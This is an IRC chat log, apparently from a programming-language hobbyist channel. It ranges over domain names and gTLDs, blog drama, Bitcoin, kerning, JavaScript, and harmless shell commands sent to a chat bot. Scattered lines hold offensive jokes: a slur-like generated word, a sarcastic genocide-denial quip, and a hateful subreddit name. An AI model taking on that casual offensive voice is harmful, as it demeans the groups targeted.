22:22:21 <fizzie> On devices classified as tablets, it's identical to the desktop version (so ads but otherwise full-featured); on devices classified as phones it's... something more complicated.
22:22:31 <fizzie> You can only listen to precreated playlists on shuffle, or something like that.
22:22:47 <fizzie> (Also no offline mode.)
22:23:08 <Sgeo> http://siddharthabarnhoorn.bandcamp.com/album/antichamber
22:23:54 <fizzie> Quite a lot are in Bandcamp too, that's true.
22:24:19 <Vorpal> yeah I get a lot of music from bandcamp these days
22:24:45 <Sgeo> Homestuck music is all on Bandcamp, so
22:25:35 <fizzie> Daft Punk should whip up an "Internet age" song they'd call "Hardr, Bettr, Fastr, Strongr".
22:25:36 <Vorpal> Antichamber is mostly ambient right?
22:26:33 <fizzie> Approximately 22200 people have made that joke before, I see.
22:27:18 <Vorpal> fizzie, I assume they made a song called that but spelled properly?
22:28:08 <fizzie> Though apparently in 2001, I thought it was older than that.
22:28:10 <Vorpal> Yeah it appears to be ambient
22:29:21 <fizzie> Can't seem to find a Wikipedia category or list article for "websites named like that".
22:31:43 <fizzie> (Just an answers.com article with 132 examples.)
22:32:06 <fizzie> http://sprunge.us/BfRL there you go
22:32:29 <Vorpal> I thought loudr was a bit silly anyway
22:32:43 <Vorpal> but calcr on that list? That doesn't even make any sense
22:33:15 <fizzie> "powered by instacalc".
22:33:33 <fizzie> Possibly a site for automatically generating more sites named like that.
22:34:05 <Vorpal> Also loudr isn't listed
22:34:31 <fizzie> Perhaps it's newer than the answer.
22:34:40 <zzo38> Is there DVD video player which can tell you the values of each registers and allow you to manually adjust them?
22:34:47 <fizzie> Some I can't quite guess from the name. Like "gickr". (Which turned out to be a website for making animated gifs.)
22:34:57 <zzo38> (And that can enable/disable UOP support)
22:39:00 <FireFly> `run sed -n '/er$/s/er$/r.com/p' /usr/share/dict/words | shuf -n 1
22:39:01 <HackEgo> sed: can't read /usr/share/dict/words: No such file or directory
22:40:19 <FireFly> Hmm, some of these might not work very well... 'youngstr', 'yawnr', 'zookeepr'
22:41:08 <fizzie> `run words 10000 | tr ' ' '\n' | sed -n '/er$/s/er$/r.com/p'
22:41:17 <fizzie> `run words 10000 | tr ' ' '\n' | sed -n '/er$/s/er$/r.com/p'
22:41:19 <fizzie> `run words 10000 | tr ' ' '\n' | sed -n '/er$/s/er$/r.com/p'
22:41:21 <HackEgo> pr.com \ origir.com \ hundr.com
22:41:44 <fizzie> Funnily enough, the one I got in query was "nigr.com". Way to be PC there, HackEgo.
22:42:18 <FireFly> the gr$ ones could even use a Greek TLD domain-hack
22:43:22 <FireFly> Oh, I guess /p actually only applies if a substitution occurred. Makes sense
22:43:22 <fizzie> Flickr owns flic.kr, I think.
22:43:44 <FireFly> `run words 10000 | tr ' ' '\n' | sed -n 's/er$/r/p'
22:43:50 <FireFly> `run words 10000 | tr ' ' '\n' | sed -n 's/er$/r/p'
22:44:52 <fizzie> They've also applied for the .flickr TLD, I see.
22:45:10 <fizzie> Prioritization number 1697, so not going to be delegated all that soon.
22:45:39 <zzo38> Why do they require a TLD?
22:45:54 <fizzie> So that nobody else can register it, I suppose.
22:46:16 <zzo38> O, OK, if that is what they have to do so that nobody else can register it
22:46:25 <zzo38> It still isn't very sensible
22:47:27 <fizzie> I don't quite remember the exact rules for the ICANN gTLD program; it's possible they had at least a bit more trademarks-and-so checks than regular domain names.
22:47:57 <fizzie> So perhaps Yahoo is in fact the only one able to register .flickr, and they don't need to do it just for that reason.
22:48:36 <zzo38> There should be a TLD called .ipv4 which takes whatever comes before and then ignores the IPv6 addresses associated with them (so that the domain "example.org.ipv4" will make a IPv4 connection even on IPv6 computers, for example).
22:49:44 <zzo38> If there aren't any IPv4 addresses associated, then the TCP/IP driver should make up a private IP address to connect through so that programs that don't support IPv6 can still connect.
22:50:41 <zzo38> I don't know if they would ever actuall register such a thing if requested, though.
22:50:44 <Vorpal> zzo38, except tcp4 and tcp6 are not the same
22:50:54 <Vorpal> So that could be messy
22:51:38 <zzo38> Vorpal: Yes, it can use IPv4 addresses if they exist but if there aren't any then the DNS server returns no response, and then TCP/IP driver makes up its own DNS respose and tries to convert as best it can.
22:52:35 <Vorpal> I guess it could proxy it? Anyway I guess the only really big difference is how the TCP checksum is calculated
22:52:37 <zzo38> And then the TLD called .usb can be used for connecting to local USB ports on your computer.
22:52:53 <zzo38> Vorpal: Yes, it would proxy it, converting whatever is difference, in best way it can.
22:52:54 <fizzie> I seem to recall someone registered .USB.
22:53:05 <Vorpal> zzo38, no that should be a prototocol, like usb+whatever://
22:53:19 <fizzie> Also I think some of the many IPv6 transition mechanisms do DNS tricks.
22:53:59 <fizzie> Huh, no applications matching USB. Must've misremembered.
22:54:04 <zzo38> Vorpal: But you still need some kind of IP address, that you can access it using programs that use internet connection.
22:54:11 <zzo38> It shouldn't be a URI scheme
22:54:18 <zzo38> That wouldn't help anyways.
22:55:01 <zzo38> Rather something like "9p://disk.usb/" can be a URL.
22:55:14 <fizzie> They have delegated .xyz already, I see.
22:55:47 <fizzie> gTLD. I don't think there are three-letter ccTLDs.
22:56:01 <fizzie> And to "XYZ.COM, LLC", of course.
22:56:13 <fizzie> "Prior to our domain extension application for .xyz we received interest from visitors who wanted to register .xyz.com subdomains and pay for premium @xyz.com email addresses. The market clearly demanded a new generic top level domain and .xyz was it."
22:56:16 <Vorpal> The whole gTLD thing is pretty silly
22:56:31 <fizzie> I take it you're not registering a vorpal.guru domain, then?
22:56:53 <fizzie> There's a http://vim.sexy/ already.
22:56:58 <Vorpal> fizzie, I don't own any domain names at all
22:57:05 <Vorpal> They allowed .sexy? Heh
22:57:09 <zzo38> Yes it is silly although there are better ways to do it, which they do not do anyways
22:57:33 <fizzie> "Sign up now for a chance to get an early-access invite for Vim today.
22:57:34 <fizzie> Don't make the cut? Guess you aren't ready for a next-level editor experience."
22:57:40 <fizzie> (It's a parody thing.)
22:58:04 <Vorpal> fizzie, I think all you need is ccTLDs and some common ones like .com and .org. And .net is way to vague in what qualifies
22:58:52 <Vorpal> Also .edu and .gov should go, they shouldn't be US-specific
22:59:07 <Vorpal> Or they should be removed entirely
22:59:16 <Vorpal> fizzie, oh yeah forgot about that one, same for it obviously
22:59:41 <zzo38> I agree you don't really need any of those new ones like .flickr and so on; it is completely silly. However, things like .ipv4 and .uucp and so on can be useful things to add on.
22:59:56 <Vorpal> What on earth is .uucp?
22:59:59 <zzo38> Vorpal: Governments would be country-specific anyways
23:00:22 <zzo38> Vorpal: Access a UUCP address using internet domain names.
23:00:58 <fizzie> At least there's no application for .onion yet.
23:01:04 <fizzie> That'd so irritate the Tor folks.
23:02:37 <fizzie> I think they also opted not to allow anyone to register .local.
23:03:14 <zzo38> It should have application for TLDs which are specified as not used with global DNS, or otherwise are reserved or special in some ways other than normal registration of domain names. These would include .local and .onion and .ipv4 for example.
23:03:21 <zzo38> As well as .example and .invalid.
23:03:29 <Vorpal> fizzie, oh god that would have been terrible :P
23:04:15 <fizzie> At least .local is codified in a standards-track RFC; .onion probably has no such protection.
23:05:24 <zzo38> That is why such "protected" registrations would be useful, in order to be registered as protected for only that reason and no others, to specify they are not used with normal global DNS.
23:05:34 <fizzie> IANA has a registry for "reserved for special use" domains already; .ipv4 and such could go there.
23:05:47 <zzo38> fizzie: Yes, it should go in there.
23:06:23 <fizzie> It contains just .example, .invalid, .local, .localhost and .test.
23:06:41 <Vorpal> .arpa is pretty funny too
23:07:15 <fizzie> (And some non-TLDs: example.{com,net,org} and the special IP address ranges of {in-addr,ip6}.arpa.)
23:09:18 <ion> https://eval.in/108854
23:09:28 <oerjan> <Vorpal> Also .edu and .gov should go, they shouldn't be US-specific <-- i am not sure .edu actually is, the nvg computer club i'm in had one for a while (nuts.edu)
23:09:43 <fizzie> Wonder how it's going for OpenNIC; at least .free of the new gTLDs conflicts with them.
23:10:18 <fizzie> oerjan: It is, nowadays.
23:10:22 <pikhq> OpenNIC's moribund, no?
23:10:30 <fizzie> oerjan: Earlier, they had exceptions.
23:11:13 <fizzie> "Only U.S. postsecondary institutions that are institutionally accredited by an agency on the U.S. Department of Education's list of Nationally Recognized Accrediting Agencies (see recognized accrediting bodies) may obtain an Internet name in the .edu domain." (educause.edu)
23:12:08 <fizzie> Though they're letting existing exceptions live on.
23:12:12 <fizzie> "According to the Cooperative Agreement between EDUCAUSE and the U.S. Department of Commerce, all .edu names in existence as of October 29, 2001, are "grandfathered." This means that everyone who already had a .edu name by that date (October 29, 2001), regardless of current or past eligibility requirements, is allowed to keep those .edu names."
23:16:29 <fizzie> OpenNIC website has no "news" section or anything else with dates on it, so it's hard to say how dead they are.
23:16:46 <fizzie> 78 users on freenode/#opennic, so they're... slightly smaller than #esoteric.
23:16:57 <fizzie> (According to the most objective metric.)
23:27:06 <oerjan> update: scott aaronson declares luboš motl unmasked, then bans him http://www.scottaaronson.com/blog/?p=1720
23:28:12 <oerjan> (now one character less on the blog. i guess sidles's ban should expire soon, though.)
23:29:02 <oerjan> (sidles is like the antithesis of luboš, yet manages to regularly get scott to ban him)
23:30:31 <oerjan> iirc he ignored scott's claims he was speaking bullshit
23:31:22 <elliott> oh, motl even stopped doing research?
23:32:11 <oerjan> if luboš motl can never admit anything positive, john sidles can never admit anything _negative_ is my impression.
23:33:12 <Bike> As a Platonist,
23:34:03 <elliott> calling someone a retard three sentences before calling someone out for needlessly offending is a rather amusing irony
23:34:12 <oerjan> ... you like to leave people hanging
23:35:06 <Bike> that is correct.
23:35:31 <Bike> elliott: yeah :/
23:35:51 <oerjan> um which one of them said that
23:36:02 <elliott> aaronson, in the post you linked
23:36:09 <elliott> oerjan: oh, sidles is that guy who comments on that other guy's blog.
23:36:41 <Bike> he called motl a "social retard", see
23:36:42 <oerjan> elliott: you mean gödel's letter? i'm not there any more but he used to be.
23:37:05 <elliott> oerjan: did it jump the shark?
23:37:33 <oerjan> not really, but i got too damned annoyed by the comment system
23:38:02 <oerjan> the rss kept cutting off at 10-20 comments, no matter how much activity there was
23:39:38 <oerjan> somehow it feels worse to have a comment overview that keeps losing comments than having no overview at all
23:39:50 <Bike> what's it like wanting to read comments
23:40:51 <oerjan> Bike: both that blog and aaronson's have a rather higher comment standard than you may be used to.
23:41:08 <Bike> yeah, i know aaronson's does at least. it's still weird
23:42:30 <fizzie> Well, you know what they say about /.: we read it for the comments.
23:42:30 <Sgeo> Warrigal isn't here?
23:42:54 <oerjan> hm what nick does he go by nowadays
23:42:55 <Sgeo> This explanation of why P probably != NP seems like approaching math from a scientific rather than mathematical angle
23:43:08 <Sgeo> I know Warrigal commented on something like that once
23:43:48 <Bike> does that mean we're pouring calcium carbonate all over the graph isomorphism, or
23:44:11 <oerjan> Sgeo: yes, it was meant to counter luboš's claim that there was no evidence for or against, even by scientific standards, or something like that
23:44:39 <Sgeo> Bike: in terms of hypotheses and sufficient evidence rather than rigid proofs
23:45:06 <Bike> so that's a yes
23:48:01 <Bike> "If there is no proof that means that there is no reason a-priori to prefer your arguments" lol
23:48:26 <Bike> i should start a campaign of showing mathematicians how flimsy everything in science world is. blow your damn minds
23:50:06 <Bike> well the quote was from an astronomer, so there
23:51:07 <Bike> honestly i just think scientists are really bad at philosophy
23:51:38 <zzo38> I know that science is not perfect like mathematics is. But it is the best way we can
23:52:06 <Bike> as a platonist
23:53:34 <zzo38> Are you platonist?
23:54:45 <zzo38> Then, what are you?
23:54:52 <Bike> ooh hey this post mentions Impagliazzo
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23:55:33 <Bike> i forget the term. psychologism-ist or suchlike
23:55:53 <zzo38> What does "psychologism-ist" mean?
23:56:35 <Bike> http://en.wikipedia.org/wiki/Psychologism
23:57:05 <Bike> wait. the shachaf is within me. https://en.wikipedia.org/wiki/Psychologism
23:58:00 <Bike> this post is pretty neat oerjan.
23:58:17 <Bike> i stopped reading aaronson a while back but i guess i should start again
00:04:00 <Bike> Sgeo: but yeah, you're right. this is basically a lengthy defense of induction http://en.wikipedia.org/wiki/Problem_of_induction
00:14:18 <zzo38> Why do you like psychologism?
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00:16:11 <Bike> makes sense 2 me
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00:41:52 * Sgeo ponders a dependently-typed CL-style format
00:42:04 <Sgeo> Certainly seems more fun than just boring old printf
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00:43:50 <zzo38> Sgeo: Can you describe it?
00:44:07 <Sgeo> CL-style format, or what it would mean for it to be typed?
00:44:18 <zzo38> Their combination.
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00:46:09 <Sgeo> A more-flexible printf-like thing (that includes things like loops) that can be type-checked to be sure all arguments are the right type
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01:13:53 <Phantom_Hoover> Sgeo, i feel like combining loops and dependent types is something of a conceptual flinch
01:14:19 <Sgeo> I don't know sufficiently much about dependent types to say
01:14:45 <Phantom_Hoover> well just because loops are kind of 'imperative' and dependent typing is 'declarative'
01:15:05 <Sgeo> Do folds count as looping?
01:15:13 <Phantom_Hoover> (i have put quotes around these words because otherwise kmc would probably complain)
01:15:57 <Bike> i shall complain: use matched quote punctuation. this '' "" stuff is on the level of the armenian genocide
01:17:12 <Phantom_Hoover> ah so it didn't actually happen (i am a turkish dickhead now it seems)
01:18:45 <Phantom_Hoover> meanwhile in /r/bitcoin: someone obtains dubious access to mt. gox's database, discovers that mt. gox database claims they still have all that money they lost! :o
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01:19:28 <Phantom_Hoover> mods delete this because it is unethical and stupid. redditors valiantly jump to battle the conspiracy to suppress evidence of gox's daylight robbery
01:23:29 <Sgeo> I can enjoy learning about the math behind Bitcoin without getting involved in controversy like this, I assume
01:24:40 <chaiomanot> sadly, reddit's popularity has been it's bane, and made it a censor-fest
01:25:33 <elliott> did you just describe reddit as a censor-fest with a straight face :D
01:25:34 <Sgeo> No longer possible to buy physical Bitcoins from Casascius :(
01:25:39 <chaiomanot> it's been a downhill spiral ever since the jailbait scandal
01:26:28 <Sgeo> They're not even selling the empty physical bitcoins, which I actually wanted :(
01:26:46 <Sgeo> Except some promo ones which are expensive
01:27:29 <elliott> it's just impressive to meet a real-life caricature
01:27:58 <Sgeo> Oh http://www.theverge.com/2013/12/13/5207256/casascius-maker-of-shiny-physical-bitcoins-shut-down-by-treasury :(
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01:55:46 * Bike checks. r/beatingtrannies still up. yep
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04:56:09 <Sgeo> kmc: interesting: http://altcoins.com/curecoin.html
04:57:38 <copumpkin> not clear how they adjust difficulty
05:00:46 <Sgeo> http://www.reddit.com/r/primecoin/comments/1rl107/anyone_know_anything_about_curecoin_next_altrucoin/
05:01:10 <Sgeo> At 1AM, Quassel just told me the day changed
05:04:06 <Sgeo> If primes could save lives, I would totally play with primecoin
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05:06:47 <kmc> lol DST bugs
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05:27:21 <Sgeo> Wonder if there are still Y2k bugs in the wild
05:36:06 <zzo38> I think some old programs may have Y2K bugs
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05:56:32 <zzo38> As well as one of the text editors used in the Synchronet BBS system.
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06:07:06 <zzo38> Specifically, SyncEdit. It is still in use today.
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06:33:36 <Bike> https://24.media.tumblr.com/8270de4e1d887772dcc90f6561cc5bdc/tumblr_mzygcngmgX1rjmj84o1_500.png related
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06:52:05 <zzo38> <*STRLEN> XOR X,X <LOOP> MOV! Z,[Y++] PZF P AAB X,*1,:LOOP ; Do you like this?
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07:44:32 <Sgeo> https://proofmarket.org/problem/viewa/39
07:44:39 <Sgeo> I assume the exploit is elsewhere?
07:44:46 <Sgeo> And thus it would be silly to pay this?
07:45:44 <elliott> it's right there in red-bordered warning, dude.
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07:46:04 <elliott> though I didn't know there was a false proof bug that recently
07:46:30 <elliott> hmm, maybe it's an existing one if real, pl3 didn't seem to fix any proofs of false
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07:47:32 <elliott> also see https://proofmarket.org/
07:48:29 <Sgeo> elliott: I know it's for an old version, and that it was mentioned on the home page. Just commenting on how the proof itself isn't visible on there due to nonpayment
07:48:39 <elliott> https://proofmarket.org/problem/view/11 dumb tricks
07:49:05 <elliott> it would be silly to pay the price even if it were an actual proof of false in the current version
07:49:13 <elliott> it's not worth however much that is worth
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07:50:15 <Sgeo> Seems like someone paid that one?
07:51:12 <zzo38> If they wrote the program that checks the proof, then they can pay for someone to find the bug in the program if it can be fixed, I suppose.
07:51:19 <Sgeo> Oh, cheaper price
07:51:29 <elliott> also people do silly things sometimes
07:51:29 <Sgeo> 0.01BTC isn't actually a lot of money, apparently
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07:52:05 <Sgeo> elliott: the one that was paid for that you linked is 0.01
07:52:08 <elliott> if you're financially comfortable.
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07:52:36 <Sgeo> The one I linked is 1 BTC (which I am not paying for)
07:53:17 <Sgeo> This site seriously need commas in its satoshi values
07:53:28 <zzo38> OK then don't pay for that one
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10:15:11 * boily mumbles and curses against DST
10:16:53 <lambdabot> int-e said 2d 20h 14m 36s ago: even if it accepted colors, I wouldn't see them; my client filters colors.
10:16:53 <lambdabot> fizzie said 18h 46m 24s ago: ^style oots, just for you
10:17:26 <boily> fizzie: oh. oooooooh! :D
10:18:03 <fungot> olsner: a lot, too. i was." anyone else. i'm amazed at how little you value those of your own.
10:18:15 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots* pa qwantz sms speeches ss wp youtube
10:18:28 <boily> fungot: you are a lucky bot :D
10:18:29 <fungot> boily: we need to get the same, really, all the would-be kings and conquerors in the day, and the two of you, and i'll take that as a compliment!
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11:18:27 <Taneb> In the D&D game I'm playing, my pacifist cleric lost an arm in a teleporter accident
11:19:02 <Taneb> And has a superweapon on his chest
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11:33:48 <zzo38> Can you fix the arm?
11:33:57 <zzo38> Otherwise, too bad, you have to be more careful next time
11:38:35 <b_jonas> Taneb: regenerate the arm with a regeneration spell
11:38:52 <b_jonas> that's why you're a cleric
11:39:11 <ais523> regenerate's really high level, though
11:39:18 <Taneb> Yeah, I'm slightly level 2
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12:19:37 <b_jonas> hmm yeah, that spell has spell level 7. I thought it was lower.
12:19:54 <ais523> I knew it was higher than you'd think it would be
12:20:01 <ais523> probably so that missing limbs can be a real threat to the PCs
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16:28:37 <ion> http://phpthegoodparts.tumblr.com/
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16:44:14 <Sorella> Chamakita-moreno, ah, sorry, I don't speak Spanish :(
16:44:53 <ais523> I don't speak Spanish either :-(
16:47:20 <shachaf> `bienvenido Chamakita-moreno
16:47:21 <HackEgo> Chamakita-moreno: ¡Bienvenido al centro internacional para el diseño y despliegue de lenguajes de programación esotéricos! Por desgracia, la mayoría de nosotros no hablamos español. Para obtener más información, echa un vistazo a nuestro wiki: http://esolangs.org/. (Para el otro tipo de esoterismo, prueba #esoteric en irc.dal.net.)
16:47:32 <ion> `rienvenido
16:47:33 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rienvenido: not found
16:48:04 <ion> HackEgo should have method_missing
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16:48:25 <shachaf> that would be such a disaster in this channel
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16:49:49 <ais523> oh wow, I forgot we had a Spanish version of welcome
16:50:01 <ais523> I guess the stupid welcome variants are in fact useful
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16:55:47 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: stelcome: not found
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16:57:19 <ais523> ion: is your idea to look for all unknown commands starting with "r", then rainbow-ing the output of a command that's equal apart from the first letter?
17:01:09 <Phantom_Hoover> i like just how utterly mad this whole field of investigation is
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17:56:13 <kmc> I wonder what kind of computation you can do using the state machines from http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenization.html and http://www.whatwg.org/specs/web-apps/current-work/multipage/tree-construction.html
17:56:53 <ais523> kmc: is that the "how to interpret broken HTML in HTML5" rules?
17:57:21 <kmc> I mean, it's the HTML5 syntax spec
17:57:29 <kmc> which precisely specifies behavior for all input, broken or not
17:57:47 <ais523> but the handling broken input is why they're so complex
17:58:02 <kmc> and does so based on not really a formal grammar or anything but a reverse engineering of a bunch of browsers
17:58:25 <ais523> well, you wouldn't need to reverse-engineer the open source ones
17:58:27 <ais523> you could just read the code
17:59:19 <kmc> understanding a huge hairy codebase usually involves a lot of reverse engineering even if you have the source
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18:46:03 <oerjan> <ion> `rienvenido <-- alas, `bienvenido is so long by itself that there's no room for extra colors
18:46:21 <oerjan> had to shorten the wiki url to even get what's there to fit
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18:52:57 <Phantom_Hoover> http://www.reddit.com/r/math/comments/1zz1i5/are_imaginary_and_complex_numbers_used_outside_of/ hahaha wow
18:54:01 <Phantom_Hoover> oerjan, is there some kind of structure that has the same relationship with the higher-dimensional homotopy groups as covering spaces do with the fundamental group?
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19:00:48 <oerjan> sadly i know next to nothing about higher-dimensional homotopy groups.
19:11:59 <Taneb> I'm having to decide between living in a small bedroom in a nice location next year, or a larger bedroom in a much worse location
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19:12:53 <Phantom_Hoover> we almost beat their B team at underwater hockey but they won in the playoffs and we came last :(
19:13:15 <Taneb> Did you ask them to say hi to me
19:13:28 <kmc> underwater hockey
19:13:34 <Taneb> kmc, it's a thing!
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19:13:59 <Phantom_Hoover> i attempted to establish if anyone knew a guy called van doorn
19:14:14 <Taneb> (they do sports, probably not)
19:14:24 <kmc> what about van doom
19:14:28 <Phantom_Hoover> i think i found someone who was in first year and doing maths and/or CS and told them to say hi or something but this was at the afterparty and they may well have forgotten
19:14:41 <Taneb> How long ago was this
19:15:41 <Taneb> Well, I have attended a grand total of 2 lectures since then
19:15:46 <Taneb> Neither of which were maths
19:17:18 <oerjan> hm i think the latest iwc rerun annotation reveals the _real_ reason why the nazis invaded norway.
19:17:33 <Taneb> I haven't been keeping up with it :(
19:17:46 <ais523> kmc: gah, I guess one advantage of fixed-width fonts is that you can easily distinguish overkerning from actually separate letters
19:20:07 <kmc> I've started noticing markings (e.g. painted or embossed on streets) that use variable-width characters but with non-overlapping rectangular bounding boxes
19:20:13 <kmc> which produces really bad kerning in some cases
19:20:40 <kmc> the people who label streets here also misspell the names quite often
19:22:15 <ais523> kmc: that's basically the absence of kerning, right?
19:22:33 <ais523> something that caught my attention in an unkerned font recently was "W/", that looks ugly without kerning
19:23:24 <coppro> yeah W is a big offender
19:24:22 <ais523> "To" is nasty because it looks ugly no matter how it's kerned
19:31:05 <ais523> how can you screw up kerning "kr"? "r" has a flat edge that the edge of "k" doesn't extend above
19:31:25 <kmc> ais523: yeah I guess
19:33:48 <kmc> Chrome / WebKit / Blink / whatever has bad kerning
19:33:59 <kmc> try data:text/html,AWAKE in Chrome vs Firefox
19:34:57 <ais523> Firefox's is slightly too tight, but Chrome's is much too loose
19:35:26 <kmc> in theory this can be controlled using https://developer.mozilla.org/en-US/docs/Web/CSS/text-rendering but I'm not seeing a difference in either browser
19:35:53 <fizzie> On this system, the overall rendering of W in Chromium seems messier than in Firefox too.
19:36:23 <fizzie> Different fonts, perhaps.
19:37:06 <kmc> Servo also has bad (no?) kerning ;P
19:42:05 <ais523> IMO it's kind-of sad that browsers have to do their own font rendering
19:42:10 <ais523> but I guess it's inevitable
19:42:36 <ais523> I preferred it back when HTML was just for semantics and the browser decided the presentation
19:42:39 <ais523> none of this CSS stuff
19:43:27 <kmc> that was never actually how people used HTML
19:43:27 <ais523> why shouldn't it be the user who gets to decide what a web page looks like, rather than having to rely on the site itself
19:43:35 <kmc> because content authors care about presentation
19:43:53 <oerjan> i've been occasionally fantasizing how a web for an interplanetary civilization (with ftl communication) with aliens of different species would work.
19:43:58 <ais523> well originally you /couldn't/ use any other way, except for using nbsps for alignment
19:44:08 <ais523> and then people started abusing table widths
19:44:16 <elliott> kmc: not true, http://info.cern.ch/hypertext/WWW/TheProject.html is semantic as heck
19:44:21 <oerjan> it would make _no_ sense to have the same style for everyone then.
19:44:33 <kmc> oerjan: body { writing-mode: heptapod-b; }
19:44:43 <ais523> also, browser default stylesheets would be /so/ much better in this world
19:44:57 <elliott> ais523: why don't users typeset their own books and design the posters they see
19:45:33 <kmc> why don't painters just write descriptions like "some fruit on a table" and then if you want to look at it you paint it yourself however you like
19:45:39 <elliott> answer: because these are all tasks that (a) most people are awful at, (b) are highly tailored to the specific nature of the underlying content, which is not entirely separable from the format it is placed within
19:45:47 <ais523> elliott: I'm probably the wrong person to ask, "why can't I retypeset this manual" is one of my major gripes with most documentation
19:45:51 <ais523> and if I had time I'd write a program to do it
19:46:12 <ais523> but the point is to have centralized styling and the like
19:46:16 <ais523> designed by some expert at Mozilla
19:46:27 <ais523> or whoever provides the browser
19:46:35 <ais523> the user could override it but there'd mostly be no reason to
19:46:58 <ais523> for months, I set my web browser to override all colors
19:47:12 <elliott> I agree you're the wrong person to ask
19:47:14 <ais523> for text/background, at least
19:47:30 <ais523> although I stopped because it turned out that too many websites were hardcoding the background of text fields to white
19:47:38 <elliott> I mean we could also fire all the typographers and designers and have every single thing we see look exactly the same
19:47:40 <ais523> or approximately-but-not-exactly white colors
19:47:43 <ais523> and the override didn't work
19:47:46 <elliott> and lose all kinds of information encoded in design
19:47:54 <elliott> you know, if you wanted, for principles
19:48:10 <kmc> http://www.lootcorp.com/wp-content/uploads/2008/06/generic-beer.jpg
19:48:27 <ais523> elliott: and you'd end up making the Web better on average, although worse at maximum
19:48:53 <ais523> also, there's a good chance the whole webapp thing would never have taken off, which would probably have been for the best
19:49:08 <ais523> as people would be writing applications in a language that was actually vaguely suited for it
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19:50:01 <Melvar> I.e. flash or java applets?
19:50:33 <ais523> Java actually had the right idea, its problems are mostly that the implementation is mindboggingly awful
19:50:36 <kmc> flash's scripting language is very close to javascript...
19:51:15 <kmc> JS isn't that bad, really... you have to build the abstractions yourself (Lambda the Ultimate!) but people manage to do so successfully
19:51:29 <ais523> ActionScript is basically JavaScript with a more Java-like OO model
19:51:51 <kmc> there's a key difference between JS as a bad language and PHP as a bad language (besides PHP being much worse)
19:52:09 <kmc> which is that anybody with a clue just stops using PHP
19:52:33 <kmc> whereas a lot of people are more or less forced to use JS so they work out ways to make it tolerable
19:52:47 <kmc> and also the language designers and implementors know what they're doing
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19:53:06 <kmc> even if the initial conception was... flawed
19:53:37 <ais523> the main problem with JS is that it was designed in entirely too little time
19:54:32 <ais523> like, Eich could probaby have done a better job if he didn't need to get it working in, like, a week
19:56:35 <ais523> I think the only reason it uses function scope rather than lexical scope is that that was faster to implement
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20:13:13 <Phantom_Hoover> <kmc> whereas a lot of people are more or less forced to use JS so they work out ways to make it tolerable
20:13:21 <`^_^v> it was pretty good for a 1995 language though
20:13:30 <Phantom_Hoover> were people not more or less forced to use php, especially back in the early oughties?
20:13:44 <ais523> Phantom_Hoover: before VPSes existed, yes
20:14:10 <ais523> `^_^v: the designers of JS knew what they were doing, just didn't get a chance to actually do it
20:14:10 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ^_^v:: not found
20:14:35 <ais523> quick, someone write a '^_^v:' HackEgo command that does something really obnoxious
20:14:48 <ais523> and a '^_^v,' command that mocks Vorpal
20:14:54 <ais523> for using commas in nickpings
20:16:13 <ais523> Phantom_Hoover: hey isn't online
20:16:25 -!- Guest80165 has changed nick to Gregor.
20:16:29 <ais523> and hasn't been for 47 weeks
20:18:28 <oerjan> Gregor: is there some way to goad HackEgo into giving no output for a command?
20:19:13 <`^_^v> `echo "foo" > /dev/null
20:19:41 <ais523> `` echo foo > /dev/null
20:19:50 <oerjan> `^_^v: please give up already if you don't even understand the question _or_ how HackEgo works.
20:19:51 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ^_^v:: not found
20:19:53 <ais523> I think there's a difference between no output and "No output."
20:20:26 <oerjan> also don't tell me Gregor just changed his nick but is _still_ idle.
20:20:40 <ais523> is there some convoluted way to get it stuck on a spam filter?
20:20:47 <Gregor> There is presently no way of goading HackEgo into giving no output whatsoever.
20:21:19 <Gregor> It lives by the philosophy that one line of input (command) equals one line of output.
20:21:20 <ais523> what about using it from a channel whose name is almost 510 characters long?
20:21:30 <ais523> you have to think outside the box here, people!
20:22:16 * oerjan slaps ais523 with a reversed X/Y problem
20:22:26 <ais523> oerjan: using it from PM has much the same effect, it seems
20:22:31 <ais523> especially if you have it on ignore
20:22:39 <ais523> but you may want the command to be issued in #esoteric
20:22:54 <ais523> I believe I know what your actual goal is
20:22:59 <ais523> but it's not the same as your stated goal
20:23:11 <oerjan> ais523: thus the reversed X/Y problem
20:23:26 <ais523> oerjan: the difference is that I'm going to continue trying to think up solutions to the stated goal
20:23:29 <ais523> because it's the more interesting one
20:24:05 <ais523> I know, you could write a bot with permanent op powers, that mutes HackEgo for a few seconds whenever the command is given
20:24:39 <ais523> HackEgo seems to think in Latin-1
20:25:22 <HackEgo> 00000000 c3 a4 0a |...| \ 00000003
20:25:27 <ais523> how does that expand into /four/ characters?
20:25:41 <oerjan> `` (echo '#!/bin/sh'; echo "echo lambdabot: @tell `^_^v Get a better nick") >bin/'^_^v'; chmod +x bin/'^_^v'
20:25:41 <HackEgo> bash: -c: line 0: unexpected EOF while looking for matching ``' \ bash: -c: line 1: syntax error: unexpected end of file
20:26:04 <oerjan> `` (echo '#!/bin/sh'; echo 'echo lambdabot: @tell `^_^v Get a better nick') >bin/'^_^v'; chmod +x bin/'^_^v'
20:26:12 <ais523> Melvar: <HackEgo> â
20:26:17 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ^_^v:: not found
20:26:43 <ais523> oerjan: forgot the colon
20:27:06 <`^_^v> my nick is fine, it's the bot that is the problem
20:27:13 <Melvar> ais523: I don’t see him say that anywhere?
20:27:17 <oerjan> `` (echo '#!/bin/sh'; echo 'echo lambdabot: @tell `^_^v Get a better nick') >bin/'^_^v:'; chmod +x bin/'^_^v:'
20:27:25 <HackEgo> /hackenv/bin/^_^v:: 3: /hackenv/bin/^_^v:: Syntax error: EOF in backquote substitution
20:27:51 <ais523> you need a '\'' around the first use of the nick
20:28:36 <oerjan> `` (echo '#!/bin/sh'; echo 'echo lambdabot: @tell '\''`^_^v'\'' Get a better nick') >bin/'^_^v:'; chmod +x bin/'^_^v:'
20:28:46 <HackEgo> lambdabot: @tell `^_^v Get a better nick
20:28:51 <ais523> the `` command that creates the executable, and the executable it creates
20:28:52 <lambdabot> Plugin `system' failed with: user error (invalid usage)
20:29:16 <oerjan> int-e: also that's mean :(
